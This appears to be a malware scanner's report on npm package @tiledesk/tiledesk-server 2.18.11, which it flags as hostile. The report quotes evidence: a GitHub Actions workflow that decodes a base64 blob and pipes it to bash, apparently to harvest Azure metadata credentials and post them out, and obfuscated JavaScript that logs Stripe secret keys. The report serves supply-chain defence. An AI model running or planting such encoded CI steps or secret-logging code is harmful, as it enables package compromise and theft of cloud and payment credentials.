Hostile ^92% javascript Download

@tiledesk/tiledesk-server 2.18.11

Obfuscated CI payload executes remote code

OIDC workflow base64 shell executionOIDC workflow encoded shell step

SHA-2563b3929de03a728635cf962d2e4fe671f6630b20a0f89fc60d22de152e0fed0d4

URLhttps://registry.npmjs.org/@tiledesk/tiledesk-server/-/tiledesk-server-2.18.11.tgz

MaleculeK(Li₃)O₅(S₂As₂CCa₃Eu)H₆(Cm₅₆Db₂₃F₆Os₉Po₅Ti₂)Md₅(Bk₃InPa₈)

Evidence

GitHub Actions OIDC write permission docker-community-worker-push-latest.yml · lines 1–15

1name: Optimize-Build
2on:
3  workflow_dispatch:
4permissions:
5  contents: read
⋯10 lines

base64 -d piped to bash docker-community-worker-push-latest.yml · line 15

15:12656… bnVsbApbIC1zICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0IiBdICYmIF9wb3N0ICJtZXRhX2F6X2ltZHMiICIkVE1QX0RJUi9tZXRhX2F6X2ltZHMudHh0Igo=" | base64 -d | bash

References Instagram session cookie name index.js · line 1

1… stomer\x20from\x20db\x20-\x20projectid','jwt','--\x20>\x20GET\x20SUBSCRIPTION\x20PAYMENTS\x20ERRORt\x20','***\x20***\x20getSubByIdAndCheckoutSessionCompletedEvnt\x20subsptn_payment\x20>\x20project_id:\x20','customerid','/payment_methods/:customerid','stripe','log','stripe\x20project_id:\x20','»»»»\x20stripe\x20endpointSecret:\x20','unix','stripe\x20client_reference_id','status','customer.subscription.deleted\x20profile\x20to\x20update\x20','/updatesubscription','--\x20>\x20checkoutSession\x20params.sessionid\x20','sessions','findByIdAndUpdate','projectid','start','profile','authenticate','--\x20>\x20cancelsubscription\x20Error\x20getting\x20project\x20','subscription.deleted','get\x20PaymentMethods\x20list\x20req.params','../../../middleware/valid-token','exec','PAYMENT_STRIPE_API_SECRET_KEY','user_id','stripe\x20checkout.session.completed','../../../middleware/passport','»»»\x20»»»\x20get\x20customer\x20from\x20db\x20','»»»\x20»»»\x20\x20update\x20customer\x20-\x20customerid\x20from\x20params\x20','»»»\x20»»»\x20cancelsubscription\x20userid','***\x20***\x20invoice.payment_succeeded\x20-\x20index:\x20','ObjectId','Sandbox','expiration_date_month','»»»\x20»»»\x20updatesubscription\x20projectid','***\x20***\x20invoice.payment_succeeded\x20-\x20start:\x20','--\x20>\x20cancelsubscription\x20confirmation\x20','customer','PAYMENT_STRIPE_SECRET','--\x20>\x20subscription\x20get\x20by\x20id\x20from\x20stripe\x20\x20err\x20','canceled_at','format','customer.subscription.deleted\x20subscriptionPayment\x20project\x20id:\x20','send'];(function(_0x418770,_0x4ef704){var _0x15b190=function(_0x28a7c7){while(--_0x28a7c7){_0x418770['push'](_0x418770['shift']());}};_0x15b190(++_0x4ef704);}(_0x4ef7,0x177));var _0x15b1=function(_0x418770,_0x4ef704){_0x418770=_0x418770-0x0;var _0x15b190=_0x4ef7[_0x418770];return _0x15b190;};var express=require(_0x15b1('0x55'));var router=express['Router']();var winston=require(_0x15b1('0x34'));var Project=require(_0x15b1('0x59' …

Imports the Mongoose MongoDB ODM index.js · line 1

1:6259… equire(_0x15b1('0x1f'));var moment=require(_0x15b1('0x32'));var mongoose=require('mongoose');var passport=require(_0x15b1('0x23'));require(_0x15b1('0x99'))(passport);var validtoken=require(_0x15b1('0x94'));const apiKey=process[_0x15b1('0x1')][_0x15b1('0x9')];winston[_0x15b1('0x3c')](_0x15b1('0x77')+apiKey);const stripe=require(_0x15b1('0x81'))(ap …

Assigns through a computed JavaScript member index.js · line 1

1:7034… x15b1('0x84')+endpointSecret);winston[_0x15b1('0x3c')]('»»»»\x20stripe\x20apiKey:\x20'+apiKey);winston[_0x15b1('0x3c')](_0x15b1('0x24')+apiSecretKey);const _0x175799=_0x1bc881[_0x15b1('0x74')][_0x15b1('0x1d')];winston[_0x15b1('0x3c')]('stripe\x20sig:\x20',_0x175799);let _0x52fcd0;try …

Showing the top 5 files — 7 more files (40 regions) not shown.

No evidence locations were recorded for this file. Raw result